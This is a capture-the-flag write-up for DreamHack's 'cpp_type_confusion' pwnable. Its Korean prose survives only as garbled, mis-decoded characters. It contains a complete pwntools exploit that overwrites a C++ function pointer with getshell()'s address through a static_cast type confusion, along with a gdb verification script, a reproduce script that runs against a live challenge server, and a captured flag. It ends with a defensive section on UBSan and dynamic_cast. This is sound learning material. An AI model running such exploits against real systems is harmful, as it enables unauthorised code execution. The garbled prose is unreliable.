์ฆ 4-2 ๋ 4-3 ์ด๋ ๊ฐ์ ๊ณณ์ผ๋ก ๋จ์ด์ง๋ค. ์์ vtable ๋คํ์์ ๋ณธ ๊ตฌ์กฐ๊ฐ ๊ทธ๋๋ก ์คํ์ ๋ฐ์๋ ์ ์ด๋ค.
E ๋ ์์ ๋ฐ์ด๋ผ ๋ฐ๋ก ํ ๋ดค๋ค. ์๋ ์ฝ์ง ์ ์ ์ ์๋ค.
๐ ์ฝ์ง
โถ๐ณ๏ธ ์ฝ์ง 1 โ ์ ธ์ ์ก์๋๋ฐ flag ๊ฐ ์๋ค
๋ก์ปฌ ๊ฒ์ฆ๋ถํฐ ํ๋ ค๊ณ exploit ์ ๋๋ ธ๋๋ฐ, ์
ธ์ ๋ถ๋ช
ํ ๋ด๋๋ฐ cat flag ๊ฐ ๋น์์ด์๋ค. ์ฒ์์ ์ต์ค๊ฐ ๋ฐ์ฏค๋ง ๋จน์ ์ค ์์๋ค.
์์ธ์ ํจ์ฌ ์์ํ๋ค. pwntools process() ์ cwd ๋ฅผ ์ ๋๊ฒจ์, ์
ธ์ ์์
๋๋ ํ ๋ฆฌ๊ฐ ์คํฌ๋ฆฝํธ๊ฐ ์๋ ํด๋์๋ค. ๋๋ฏธ flag ๋ ๋ฐ์ด๋๋ฆฌ ์(extracted/)์ ๋ง๋ค์ด ๋์ผ๋ ๋น์ฐํ ์ ๋ณด์ธ๋ค.
๊ทธ๋ ์งฐ๋ ๋ฒ์ ์ ๊ทธ๋๋ก ๋จ๊ฒจ ๋๋ค.
#!/usr/bin/env python3
# sapjil_cwd.py โ ์ฒ์์ ์งฐ๋ ๋ฒ์ . process() ์ cwd ๋ฅผ ์ ์คฌ๋ค.
# ์ต์ค๋ ๋ฉ์ฉกํ ์
ธ์ ์ก๋๋ฐ, ๊ทธ ์
ธ์ ์์
๋๋ ํ ๋ฆฌ๊ฐ ์ด ์คํฌ๋ฆฝํธ๊ฐ ์๋ ํด๋๋ผ
# flag ํ์ผ(extracted/flag)์ ๋ชป ์ฐพ๋๋ค.
from pwn import context, p64, process
context.log_level = "error"
HERE = __file__.rsplit("/", 1)[0]
BIN = (HERE + "/extracted/cpp_type_confusion").encode()
p = process(BIN) # <- cwd= ๋ฅผ ์ ๋๊ฒผ๋ค
for c in (b"1\n", b"2\n", b"3\n"):
p.sendlineafter(b"[*] Select : ", c.strip())
p.sendafter(b"Applemango name: ", p64(0x400FA6).rstrip(b"\x00") + b"\n")
p.sendlineafter(b"[*] Select : ", b"4")
p.sendlineafter(b"[*] Select : ", b"2")
p.sendline(b"pwd; cat flag")
print(p.recvrepeat(2).decode(errors="replace").strip())
p.close()python3 sapjil_cwd.py
pwd ๋ฅผ ๊ฐ์ด ์ฐ์ด ๋ณด๋ ํ ๋ฐฉ์ ๋๋ฌ๋ฌ๋ค. ์
ธ์ ์ ์์ด์๊ณ ์์น๋ง ํ๋ ธ๋ค.
๊ตํ์ด๋ผ๋ฉด, "์
ธ์ ๋ชป ์ก์๋ค"์ "์
ธ์ ์ก์๋๋ฐ ํ์ผ์ด ์๋ค"๋ฅผ ๊ตฌ๋ถํ๋ ํ ์ค(id ๋ pwd ๋ )์ ์ต์ค์ ๋ ๋ฃ์ด ๋๋ ๊ฒ ๋ซ๋ค๋ ๊ฒ. ์ต์ข
solve.py ์๋ id ๋ฅผ ๋จ๊ฒจ ๋๋ค. ์๊ฒฉ์์ uid=1000(cpp_type_confusion) ์ด ์ฐํ๋ฉด ๊ทธ๊ฒ๋ง์ผ๋ก ์
ธ์ด ํ์คํ๋ค.
โถ๐ณ๏ธ ์ฝ์ง 2 โ ๋ฐฐํฌ zip ์ ์คํ ๊ถํ์ ์ ์ด๋ฆฐ๋ค
๊ทธ๋ณด๋ค ์์, ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฒ์ ๋๋ฆด ๋๋ถํฐ ๋งํ๋ค. ๋ค์ด๋ก๋ํด ํ์ด ๋์ ํ์ผ์ ์คํ ๋นํธ๊ฐ ์๋ค.
ls -l cpp_type_confusion; ./cpp_type_confusion
chmod +x ํ ์ค์ด๋ฉด ๋๋๋ ์ผ์ธ๋ฐ, ์ฒ์ ๋ณธ ์๋ฌ๊ฐ timeout: failed to execute process: Permission denied ๋ผ์ ์ ๊น ์๋ฑํ ๋ฐ๋ฅผ ๋ดค๋ค. timeout ์ ์์ ๋ถ์ฌ ๋๋ฆฌ๊ณ ์์๋๋ ์๋ฌ ๋ฌธ๊ตฌ์ ์ฃผ์ด๊ฐ timeout ์ด ๋ผ ๋ฒ๋ ค์, ๋ฐ์ด๋๋ฆฌ๊ฐ ์๋๋ผ ์คํ ๋ฐฉ์์ด ์๋ชป๋ ์ค ์์๋ค.
๊ทธ๋์ reproduce.sh ์ฒซ๋จธ๋ฆฌ์ chmod +x ๋ฅผ ๋ฐ์ ๋๋ค. ๋์ค์ ๋ฐฑ์
์์ ๊บผ๋ด ๋๋ฆด ๋ ๊ฐ์ ๋ฐ์ ๋ ๋ฉ์ถ์ง ์๊ฒ.
โถ๐ณ๏ธ ์ฝ์ง 3 โ ์ด๋ฆ์ ๊ณต๋ฐฑ์ ์์ผ๋ฉด ํ๋ก๊ทธ๋จ์ด ์กฐ์ฉํ ๋๋๋ค
std::cin >> ๊ฐ ๊ณต๋ฐฑ์์ ๋๊ธด๋ค๋ ๊ฑด ์๊ณ ์์์ง๋ง, ๋๊ธด ๋ค์ ๋ฌด์จ ์ผ์ด ๋ฒ์ด์ง๋์ง๋ ์์๊ณผ ๋ฌ๋๋ค.
AAAA BBBB ๋ฅผ ๋ฃ์ผ๋ฉด ์ด๋ฆ์ผ๋ก๋ AAAA ๋ง ๋ค์ด๊ฐ๋ค. ์ฌ๊ธฐ๊น์ง ์์๋๋ก๋ค. ๋ฌธ์ ๋ ์คํธ๋ฆผ์ ๋จ์ BBBB ๋ค. ๋ฉ๋ด ๋ฃจํ๋ก ๋์๊ฐ๋ฉด std::cin >> selector ๊ฐ ๊ทธ๊ฑธ ์ ์๋ก ์ฝ์ผ๋ ค๋ค ์คํจํ๊ณ failbit ์ด ์ ๋ค. ๊ทธ ๋ค๋ก๋ ๋ชจ๋ ์
๋ ฅ์ด ์ฆ์ ์คํจํ๋ค.
C++11 ์ดํ ํ์ค์ ํ์ฑ์ ์คํจํ๋ฉด ๋์ ๋ณ์์ 0 ์ ๋ฃ๊ฒ ๋ผ ์๋ค. selector ๊ฐ 0 ์ด ๋๋ switch ์ default: ๋ก ๋น ์ง๊ณ , ๊ฑฐ๊ธฐ return 0 ์ด ์๋ค.
default:
return 0;๊ทธ๋์ ํ๋ก๊ทธ๋จ์ด ์๋ฌ ํ ์ค ์์ด ๊ทธ๋ฅ ๋๋๋ค. ์ probe ์ถ๋ ฅ์ E ํญ๋ชฉ์ด ๊ทธ ์ฅ๋ฉด์ด๋ค โ Applemango Created! ๊น์ง ์ฐ๊ณ , ๋ค์ ํ๋กฌํํธ์์ ์๋ฌด ๋ฐ์ ์์ด ์ข
๋ฃ๋๋ค.
๋ง๋ถ์ด๋ฉด, ๊ฐ์ "์ถ์ถ ์คํจ"๋ผ๋ ์
๋ ฅ์ด ์์ ์์ด์(EOF) ์คํจํ๋ฉด ๊ฒฐ๊ณผ๊ฐ ๋ค๋ฅด๋ค. ๊ทธ๋๋ sentry ๋จ๊ณ์์ ๊ฑธ๋ ค ํ์ฑ ์์ฒด๋ฅผ ์๋ํ์ง ์์ผ๋ฏ๋ก ๋ณ์ ๊ฐ์ด ๊ทธ๋๋ก ๋จ๋๋ค. ์
ธ์์ ๋น ์ ธ๋์จ ๋ค stdin ์ด EOF ์ธ ์ฑ๋ก ๋ฉ๋ด ๋ฃจํ์ ๋์๊ฐ๋ฉด selector ๊ฐ ์ง์ ๊ฐ 2 ๊ทธ๋๋ก๋ผ case 2 ๊ฐ ๋ฌดํํ ๋๋ค โ ์ต์ค๋ฅผ ํ์ดํ๋ก ๋จน์ด๊ณ ๋๋ฉด ํ๋ฉด์ด Mango Created! ๋ก ๋๋ฐฐ๋๋ ๊ฒ ๊ทธ๋์๋ค. ์ต์ค๊ฐ ์ฑ๊ณตํ๋๋ฐ๋ ์ถ๋ ฅ์ด ํญ์ฃผํ๋ฉด ์ด๊ฑธ ์์ฌํ๋ฉด ๋๋ค.
์ต์ค๊ฐ ์ ๋จน์์ ๋ ์ด ์ฆ์์ด ๋์ค๋ฉด "์ฃผ์๊ฐ ํ๋ ธ๋"๋ถํฐ ์์ฌํ๊ธฐ ์ฌ์ด๋ฐ, ์ค์ ์์ธ์ ํ์ฐธ ์ ๋จ๊ณ์์ ์
๋ ฅ ์คํธ๋ฆผ์ด ์ฃฝ์ ๊ฒ์ด๋ค. ํ์ด๋ก๋์ ๊ณต๋ฐฑ ๋ฐ์ดํธ๊ฐ ์์๋์ง๋ฅผ ๋จผ์ ๋ด์ผ ํ๋ค. ์ต์ข
solve.py ์ assert ๋ฅผ ํ๋ ๋ฐ์ ๋ ์ด์ ๋ค.
assert not any(c in b" \t\n\v\f\r" for c in payload), "cin >> ๊ฐ ๋๊ธธ ๋ฐ์ดํธ๊ฐ ์์๋ค"โถ๐ณ๏ธ ์ฝ์ง 4 โ ์ฒซ flag ์ ์ถ์ด ์ค๋ต์ผ๋ก ๋์๋ค
flag ๋ฅผ ๋ฐ์ ์ ์ถํ๋๋ "์ค๋ต"์ด ๋ด๋ค. ๊ฐ์ ๋ฐฉ๊ธ ์๋ฒ์์ ์ง์ ๋ฝ์ ๊ฒ์ด๋ผ ํ๋ฆด ์๊ฐ ์๋๋ฐ.
์ ์ถํ๋ "์ ๋ต"์ผ๋ก ์ฒ๋ฆฌ๋๊ณ ํฌ๋ ๋ง๋ ํ๊ธ๋๋ค.
๊ฐ์ด ํ์คํ๋ฐ ์ค๋ต์ด ๋จ๋ฉด, ํ์ด๋ก๋๋ฅผ ๋ฏ์ด๊ณ ์น๊ธฐ ์ ์ ํ ๋ฒ ๋ ๋๋ฌ ๋ณด๋ ๊ฒ ๋จผ์ ๋ค.
๐งช ๋ฐํ์ ํ์ธ โ ์ ๋ง ๊ทธ ์นธ์ด ๋ฎ์ด๋๊ฐ
์ ์ ์ผ๋ก๋ ๋ค ๋ง์ท๋ค. ์ด์ ์คํ ์ค์๋ ๊ฐ์์ง ๋ณธ๋ค. ๋ ์ง์ ์ ๋ธ๋ ์ดํฌํฌ์ธํธ๋ฅผ ๊ฑด๋ค โ strncpy ํธ์ถ ์ง์ ๊ณผ Mango::yum() ์ call rax.
# cpp_type_confusion โ ํ์
์ปจํจ์ ์ด ์ค์ ๋ฉ๋ชจ๋ฆฌ์์ ์ผ์ด๋๋์ง ๋ฐํ์์ผ๋ก ํ์ธ
# gdb -q -batch -x verify.gdb ./cpp_type_confusion
set pagination off
set confirm off
# main: call strncpy@plt (mixer->description ์ 8๋ฐ์ดํธ ๋ณต์ฌ)
break *0x40127f
# Mango::yum: call rax (description() ํธ์ถ)
break *0x4015cc
run < in.bin
printf "\n=== [1] strncpy ์ง์ ===\n"
printf "dest(rdi) = %p n(rdx) = %d\n", $rdi, $rdx
printf "Mango ๊ฐ์ฒด = %p\n", $rdi - 8
printf " +0 vptr = %p\n", *(void **)($rdi - 8)
printf " +8 ๊ฐ = %p <- ์์ง Mango ์ ํจ์ ํฌ์ธํฐ\n", *(void **)$rdi
info symbol *(void **)$rdi
printf "src(rsi) 8๋ฐ์ดํธ: "
x/8xb $rsi
continue
printf "\n=== [2] Mango::yum() ์ call rax ===\n"
printf "rax = %p\n", $rax
info symbol $rax
printf "this(= ์๊น ๊ทธ Mango ๊ฐ์ฒด) = %p\n", *(void **)($rbp - 8)
kill
quit์ ๋ ฅ์ ํ์ผ๋ก ๋ฏธ๋ฆฌ ๋ง๋ค์ด ๋๋ค.
printf '1\n2\n3\n\xa6\x0f\x40\n4\n2\n' > in.bingdb -q -batch -x verify.gdb ./cpp_type_confusion 2>&1 | grep -vE "^(I love Applemango|[1-5]\. |\[\*\] Select)"๋ฉ๋ด๊ฐ ๋งค ๋ฃจํ ๋ค์ ์ฐํ ํ๋ฉด์ ๋ฎ์ผ๋ฏ๋ก ๊ทธ ์ค๋ง ๊ฑธ๋ฌ๋๋ค.

์ ์ ์ผ๋ก ์ธ์ด ์ฃผ์ฅ์ด ์ ๋ถ ๊ทธ๋๋ก ๋์จ๋ค.
| ํ์ธํ ๊ฒ | ๊ฐ |
|---|---|
| Mango ๊ฐ์ฒด ์ฃผ์ | 0x615340 (ํ) |
+0 vptr | 0x401868 โ ์์ ๋ณธ Mango vtable ์ ํจ์ ์ฌ๋กฏ |
+8 ๋ฎ๊ธฐ ์ | 0x401102 = mangohi() |
strncpy dest / n | 0x615348(= ๊ฐ์ฒด+8) / 8 |
| ์์ค 8๋ฐ์ดํธ | a6 0f 40 00 00 00 00 00 |
call rax ์์ rax | 0x400fa6 = getshell() |
์์ค 8๋ฐ์ดํธ๊ฐ ์ด๋ฏธ a6 0f 40 ๋ค๋ก 0 ์ธ ๊ฒ ๋ณด์ธ๋ค. std::string ์ด ์งง์ ๋ฌธ์์ด์ ์๊ธฐ ๋ด๋ถ ๋ฒํผ์ ๋ด์ผ๋ฉด์ ๋ค๋ฅผ ๋น์ ๋ ๋์ธ๋ฐ, ์ด์ฐจํผ strncpy ๊ฐ 3๋ฐ์ดํธ๋ง ๋ณต์ฌํ๊ณ ๋๋จธ์ง๋ฅผ 0 ์ผ๋ก ์ฑ์ฐ๋ ๊ฒฐ๊ณผ๋ ๊ฐ๋ค.
๊ทธ๋ฆฌ๊ณ Mango::yum() ์ ๋ค์ด์ call rax ๋ฅผ ์ฝ์์ ๋ ์์ ์ rax ๊ฐ getshell() ์ด๋ค. ๋ ๋ฒ์งธ ๋ธ๋ ์ดํฌํฌ์ธํธ์์ ์ฐ์ this ๋ ์๊น ๊ทธ ๊ฐ์ฒด 0x615340 ๊ทธ๋๋ก๋ค. ๊ฐ์ ๊ฐ์ฒด, ๋ฐ๋ ํ ์นธ.
๐ Full Exploit
๋ก์ปฌ๊ณผ ์๊ฒฉ์ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ก ๋๋ฆฐ๋ค.
#!/usr/bin/env python3
# cpp_type_confusion (DreamHack, Bronze 2 / pwnable)
#
# 3๋ฒ ๋ฉ๋ด์ static_cast<Apple*>(mango) ๊ฐ Mango ๊ฐ์ฒด๋ฅผ Apple ๋ก ์ฐฉ๊ฐ์ํจ๋ค.
# Mango::description -> void (*)(void) ํจ์ ํฌ์ธํฐ (๊ฐ์ฒด ์คํ์
+8)
# Apple::description -> char[8] ๋ฌธ์ ๋ฐฐ์ด (๊ฐ์ฒด ์คํ์
+8)
# ๊ฐ์ ์๋ฆฌ์ strncpy(mixer->description, name, 8) ์ ํ๋ฏ๋ก ํจ์ ํฌ์ธํฐ๊ฐ ํต์งธ๋ก ๋ฎ์ธ๋ค.
# 4-2 (mango->yum()) ๋ Mango::yum() ์ด๋ผ description() ์ ๊ทธ๋๋ก ํธ์ถํ๋ค.
# PIE ๊ฐ ๊บผ์ ธ ์์ด getshell() ์ฃผ์๋ 0x400fa6 ๋ก ๊ณ ์ .
#
# python3 solve.py # ๋ก์ปฌ ๊ฒ์ฆ
# python3 solve.py host3.dreamhack.games 12345 # ์๊ฒฉ
import sys
from pwn import ELF, context, p64, process, remote
context.log_level = "info"
context.arch = "amd64"
HERE = __file__.rsplit("/", 1)[0]
BIN = HERE + "/extracted/cpp_type_confusion"
elf = ELF(BIN, checksec=False)
getshell = elf.symbols["_Z8getshellv"] # 0x400fa6
print(f"[*] getshell() = {getshell:#x}")
if len(sys.argv) >= 3:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
# flag ํ์ผ์ด ๋ฐ์ด๋๋ฆฌ ์์ ์์ผ๋ฏ๋ก cwd ๋ฅผ ๋ง์ถฐ ์ค๋ค(์๊ฒฉ ์๋ฒ์ ๋์ผํ ๋ฐฐ์น).
p = process(BIN.encode(), cwd=HERE + "/extracted")
def menu(choice):
p.sendlineafter(b"[*] Select : ", str(choice).encode())
menu(1) # Apple ์์ฑ -> appleflag = 1 (3๋ฒ ๋ฉ๋ด์ ๊ด๋ฌธ)
menu(2) # Mango ์์ฑ -> mangoflag = 1, description = mangohi
# getshell ์ฃผ์ 0x400fa6 -> ๋ฆฌํ์๋์ 3๋ฐ์ดํธ b"\xa6\x0f\x40".
# strncpy ๋ ์์ค๊ฐ n ๋ณด๋ค ์งง์ผ๋ฉด ๋จ์ ์๋ฆฌ๋ฅผ 0 ์ผ๋ก ์ฑ์ฐ๋ฏ๋ก
# ํฌ์ธํฐ 8๋ฐ์ดํธ๊ฐ ์ ํํ 0x0000000000400fa6 ์ด ๋๋ค.
# std::cin >> ๋ ๊ณต๋ฐฑ์์ ๋๊ธฐ๋๋ฐ 0xa6/0x0f/0x40 ์ค ๊ณต๋ฐฑ๋ฌธ์(0x09~0x0d, 0x20)๋ ์๋ค.
payload = p64(getshell).rstrip(b"\x00")
assert not any(c in b" \t\n\v\f\r" for c in payload), "cin >> ๊ฐ ๋๊ธธ ๋ฐ์ดํธ๊ฐ ์์๋ค"
print(f"[*] payload = {payload!r}")
menu(3) # Mix -> strncpy ๋ก ํจ์ ํฌ์ธํฐ ๋ฎ์ด์ฐ๊ธฐ
p.sendafter(b"Applemango name: ", payload + b"\n")
menu(4) # Eat
p.sendlineafter(b"[*] Select : ", b"2") # 2. Mango -> Mango::yum() -> description()
p.sendline(b"id; cat flag")
out = p.recvrepeat(3).decode(errors="replace")
print(out.strip())
p.close()์ฃผ์๋ฅผ ํ๋์ฝ๋ฉํ์ง ์๊ณ elf.symbols ๋ก ๋ฝ๋๋ค. ์ฌ๋ณผ์ด ๋จ์ ์์ผ๋ ๊ทธ๊ฒ ์ ํํ๊ณ , ๋ค๋ฅธ ํ๊ฒฝ์์ ๊ฐ์ ์์ค๋ฅผ ๋ค์ ๋น๋ํ๋๋ผ๋ ์คํฌ๋ฆฝํธ๊ฐ ์์์ ๋ฐ๋ผ๊ฐ๋ค.
๋จผ์ ๋ก์ปฌ. ๋ฐ์ด๋๋ฆฌ ์์ ๋๋ฏธ flag ํ์ผ์ ํ๋ ๋ง๋ค์ด ๋๊ณ ๋๋ฆฐ๋ค.
printf 'DH{LOCAL_DUMMY_FLAG_1234}\n' > extracted/flag
python3 solve.py
uid=1000(jinho) ๊ฐ ์ฐํ๋ค. ๋ด ๊ณ์ ์ ์
ธ์ด ๋ด๋ค๋ ๋ป์ด๊ณ , ๋๋ฏธ flag ๋ ์ฝํ๋ค. ์ฌ๊ธฐ ๋์ค๋ DH{LOCAL_DUMMY_FLAG_1234} ๋ ๊ฒ์ฆ์ฉ์ผ๋ก ๋ด๊ฐ ๋ง๋ ํ์ผ์ด์ง ๋ฌธ์ ์ ๋ต์ด ์๋๋ค.
์ด์ ๋ผ์ด๋ธ ์๋ฒ.
python3 solve.py host3.dreamhack.games 18869
uid=1000(cpp_type_confusion) โ ๋ฌธ์ ์๋ฒ์ ์๋น์ค ๊ณ์ ์ด๋ค. ํ ๋ฒ์ ๋ถ์๋ค.
DH{4a969c04516654df9984f8aab2db7309}ํ ๋ฐฉ ์ฌํ
๋์ค์ ๋ฐฑ์
๋ง ๊ฐ์ง๊ณ ๋ค์ ๋๋ฆด ์ ์๊ฒ reproduce.sh ๋ฅผ ๋จ๊ฒผ๋ค. ์ธ์๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธ์์ ์ง์ง flag ๋ฅผ, ์ ์ฃผ๋ฉด ๋๋ฏธ๋ก ์ต์ค ๋์๋ง ๊ฒ์ฆํ๋ค. ๋๋ฏธ flag ๋ฅผ ์ง์ง์ธ ๊ฒ์ฒ๋ผ PASS ์ํค์ง ์๋๋ค โ ๊ทธ๋ฌ๋ฉด ๋ฐฑ์
์ ์ฒด๋ฅผ ๋ชป ๋ฏฟ๊ฒ ๋๋ค.
#!/usr/bin/env bash
# cpp_type_confusion โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh ๋ก์ปฌ ๊ฒ์ฆ (๋๋ฏธ flag ๋ก ์ต์ค ๋์๋ง ํ์ธ)
# ./reproduce.sh host3.dreamhack.games 12345 ๋ผ์ด๋ธ ์๋ฒ์์ ์ง์ง flag ํ์
#
# ์ด ๋ฌธ์ ์ ์ง์ง flag ๋ ์๋ฒ์๋ง ์๋ค. ์ธ์ ์์ด ๋๋ฆฌ๋ฉด ๋๋ฏธ flag ๋ก
# "์ต์ค๊ฐ ์
ธ์ ์ก๋์ง"๋ง ๊ฒ์ฆํ๊ณ , ์ง์ง flag ๋ฅผ ๋ด ๊ฒ์ฒ๋ผ PASS ํ์ง ์๋๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
chmod +x extracted/cpp_type_confusion 2>/dev/null || true # ๋ฐฐํฌ zip ์ ์คํ ๊ถํ์ ์ ์ด๋ฆฐ๋ค
if [ $# -ge 2 ]; then
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ .json'))['flag'])" 2>/dev/null || echo '')
OUT=$(timeout 120 python3 solve.py "$1" "$2" 2>&1) || true
echo "$OUT" | tail -6
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "โ
PASS $FLAG"; exit 0
fi
echo; echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '${EXPECT:-๋ฏธ์ง์ }')"; exit 1
fi
DUMMY='DH{LOCAL_DUMMY_FLAG_1234}'
printf '%s\n' "$DUMMY" > extracted/flag
OUT=$(timeout 60 python3 solve.py 2>&1) || true
echo "$OUT" | tail -6
if printf '%s' "$OUT" | grep -qa "$DUMMY"; then
echo; echo "โ
LOCAL PASS โ ์ต์ค๊ฐ ์
ธ์ ์ก๊ณ ๋๋ฏธ flag ๋ฅผ ์ฝ์๋ค."
echo " ์ง์ง flag ๋ ๋ผ์ด๋ธ ์๋ฒ๊ฐ ํ์ํ๋ค: ./reproduce.sh <host> <port>"; exit 0
fi
echo; echo "โ LOCAL FAIL โ ์
ธ์ ๋ชป ์ก์๋ค."; exit 1./reproduce.sh host3.dreamhack.games 18869
๐ก๏ธ ์ปดํ์ผ๋ฌ๋ ์ด๊ฑธ ์ก์ ์ ์์๋
ํ๊ณ ๋์ ๊ถ๊ธํ๋ค. ์์ค๊ฐ ํต์งธ๋ก ์๋๋ฐ, ๋น๋ํ ๋ ์ด ์บ์คํธ๋ฅผ ๊ฑธ๋ฌ ๋ผ ๋ฐฉ๋ฒ์ด ์ ๋ง ์์์๊น.
์๋ค. UBSan(UndefinedBehaviorSanitizer)์ vptr ๊ฒ์ฌ๊ฐ ์ ํํ ์ด๋ฐ ๋ค์ด์บ์คํธ๋ฅผ ์ก๋๋ค. -fsanitize=undefined ๋ก ๊ฐ์ ์์ค๋ฅผ ๋ค์ ๋น๋ํ๊ณ , ๋ฌธ์ ์ 3๋ฒ ๋ฉ๋ด๊น์ง๋ง ํ์ ๋ณด๋ฉด ๋๋ค.
printf '1\n2\n3\nAAAA\n5\n' > ubsan_in.txtg++ -fsanitize=undefined -o ubsan_build extracted/cpp_type_confusion.cpp && ./ubsan_build < ubsan_in.txt 2>&1 | grep -vE "^[1-5]\. |^I love"
extracted/cpp_type_confusion.cpp:114:29: runtime error: downcast of address 0x5c470d804340 which does not point to an object of type 'Apple'
0x5c470d804340: note: object is of type 'Mango'์ค ๋ฒํธ๊น์ง ์ ํํ๋ค. 114ํ 29์ด, ๋ฐ๋ก ๊ทธ static_cast ๋ค. ๊ฐ์ฒด์ ์ค์ ํ์
์ด Mango ๋ผ๋ ๊ฒ๋, ํฅ์ฌ ๋คํ์์ ์ด๋ 8๋ฐ์ดํธ๊ฐ vptr ์ธ์ง๋ ํ์ํด ์ค๋ค.
์ฌ๊ธฐ์ ํ๋ก๊ทธ๋จ์ด ์ฃฝ์ง๋ ์๋๋ค๋ ์ ์ด ์คํ๋ ค ์ค์ํ๋ค. UBSan ์ ๊ธฐ๋ณธ ์ค์ ์์ ๊ฒฝ๊ณ ๋ง ์ฐ๊ณ ๊ณ์ ์งํํ๋ฏ๋ก ๋ค์ ์ค strncpy ๋ ๊ทธ๋๋ก ์คํ๋๋ค. ์ฆ ์ด ์ฝ๋๋ UBSan ์ ์ผ๊ณ ํ ๋ฒ๋ง ๋๋ ค ๋ดค์ด๋ ๋ฐฐํฌ ์ ์ ๊ฑธ๋ ธ์ ๊ฒ์ด๋ค. ํฌ๋์๊ฐ ๋์ง ์์ ํ
์คํธ๋ฅผ ํต๊ณผํ๋ ๊ฒ๋ฟ์ด๋ค.
์ ๋ฆฌํ๋ฉด ์ด ๋ฌธ์ ๋ "ํ์ง๊ฐ ์ด๋ ค์ด ์ทจ์ฝ์ "์ด ์๋๋ค. ํ์ธํ๋ ์ฝ๋(dynamic_cast)๋ฅผ ์ ์ผ๊ณ , ํ์ธํด ์ฃผ๋ ๋๊ตฌ(UBSan)๋ฅผ ์ ์ผฐ์ ๋ฟ์ด๋ค.
๐ ๊ฒฐ๋ก
ํ์ ์ปจํจ์ ์ "์ผ๋ง๋ ์ผ๋"๊ฐ ์๋๋ผ "๋ฌด์์๋ค ์ผ๋"์ ๋ฒ๊ทธ๋ค.
์ด ๋ฌธ์ ์์ strncpy ๋ ์๊ธฐ ๋ชซ์ธ 8๋ฐ์ดํธ๋ฅผ ์ ํํ 8๋ฐ์ดํธ๋ง ์ผ๋ค. ๋์น ๊ฒ๋, ํด์ ๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ค์ ๋ง์ง ๊ฒ๋ ์๋ค. ๊ทธ๋ฐ๋ฐ๋ ํจ์ ํฌ์ธํฐ๊ฐ ๋ฐ๋์๋ค. ๊ฒฝ๊ณ ๊ฒ์ฌ์ ๊ธฐ๋๋ ๋ณดํธ ๊ธฐ๋ฒ โ canary, NX, RELRO โ ์ด ์
๋ค ์ด ๊ณต๊ฒฉ์ ์๋ฌด ์ผ๋ ํ์ง ์๋ ์ด์ ๋ค. ์
๋ค ๋ค๋ฅธ ์ข
๋ฅ์ ์ฌ๊ณ ๋ฅผ ๋ง๋ ์ฅ์น๋ค.
static_cast ๋ ๋ค์ด์บ์คํธ์์ ์๋ฌด๊ฒ๋ ๋ณด์ฅํ์ง ์๋๋ค.
๊ธฐ๊ณ์ด๋ก ๋ณด๋ฉด ์ ๋ง mov ๋ ์ค์ด๋ค. ์์ ๊ด๊ณ๊ฐ ์ฑ๋ฆฝํ๋์ง๋ง ์ปดํ์ผ ์์ ์ ๋ณด๊ณ , ๊ทธ ๊ฐ์ฒด๊ฐ ์ค์ ๋ก ๊ทธ ํ์
์ธ์ง๋ ํ์ธํ์ง ์๋๋ค. ํ์ธํ๋ ๊ฑด dynamic_cast ์ด๊ณ , ์ด ๋ฌธ์ ๋ ๊ทธ๊ฑธ ์ผ๋ค๋ฉด nullptr ์ด ๋์์ ์ฑ๋ฆฝํ์ง ์์๋ค. ๋ค์ด์บ์คํธ๊ฐ ๊ผญ ํ์ํ๋ฉด dynamic_cast ๋ฅผ ์ฐ๊ฑฐ๋, ์ ์ด์ ํ์
ํ๊ทธ๋ฅผ ๊ฐ์ฒด์ ๋ค๊ณ ๋ค๋๋ฉด์ ๋ถ๊ธฐํ๋ ํธ์ด ๋ซ๋ค.
๊ฐ์ ์ด๋ฆ์ ๋ฉค๋ฒ๊ฐ ํด๋์ค๋ง๋ค ๋ค๋ฅธ ํ์ ์ธ ์ค๊ณ๋ ๊ทธ ์์ฒด๋ก ์ํ ์ ํธ๋ค.
grep ํ ๋ฒ์ char description[8] ๊ณผ void (*description)(void) ๊ฐ ๋๋ํ ๋์จ ์๊ฐ, ์ด ๋ฌธ์ ์ ์ ๋ฐ์ ๋๋ ์์๋ค. ์์ ๊ณ์ธต์์ ๊ฐ์ ์คํ์
์ ์๋ก ๋ค๋ฅธ ์๋ฏธ์ ๋ฐ์ดํฐ๊ฐ ๋์ด๋ฉด, ์บ์คํธ ์ค์ ํ๋๊ฐ ๊ณง๋ฐ๋ก ์์ ์ฝ๋ ์คํ์ด ๋๋ค. ํนํ ํจ์ ํฌ์ธํฐ ๋ฉค๋ฒ๋ ๊ทธ ์๋ฆฌ๋ฅผ ๋ฎ๋ ์๊ฐ ๊ณง ์ ์ด ํ๋ฆ์ด๋ผ, ๋ค๋ฅธ ์ด๋ค ๋ฉค๋ฒ๋ณด๋ค ์ํํ๋ค.
strncpy ๋ "์์ ํ strcpy" ๊ฐ ์๋๋ค.
์ฌ๊ธฐ์๋ ๋จ๋ ์๋ฆฌ๋ฅผ 0 ์ผ๋ก ์ฑ์ ์ฃผ๋ ์ฑ์ง์ด ๊ณต๊ฒฉ์ ์ชฝ์ผ๋ก ๋ถ์๋ค. 3๋ฐ์ดํธ๋ง ๋ณด๋ด๋ ํฌ์ธํฐ 8๋ฐ์ดํธ๊ฐ ์จ์ ํ ์์ฑ๋๋ค. NUL ์ข ๋ฃ๋ฅผ ๋ณด์ฅํ์ง ์๋ ๊ฒ์ผ๋ก ์ ๋ช ํ์ง๋ง, ๋ฐ๋๋ก ํ์ ์ด์์ผ๋ก 0 ์ ์ด๋ค๋ ์ ๋ ๊ฐ์ด ๊ธฐ์ตํด ๋ ๋งํ๋ค.
ํฌ๋์๊ฐ ์ ๋๋ค๊ณ ์์ ํ ๊ฒ ์๋๋ค.
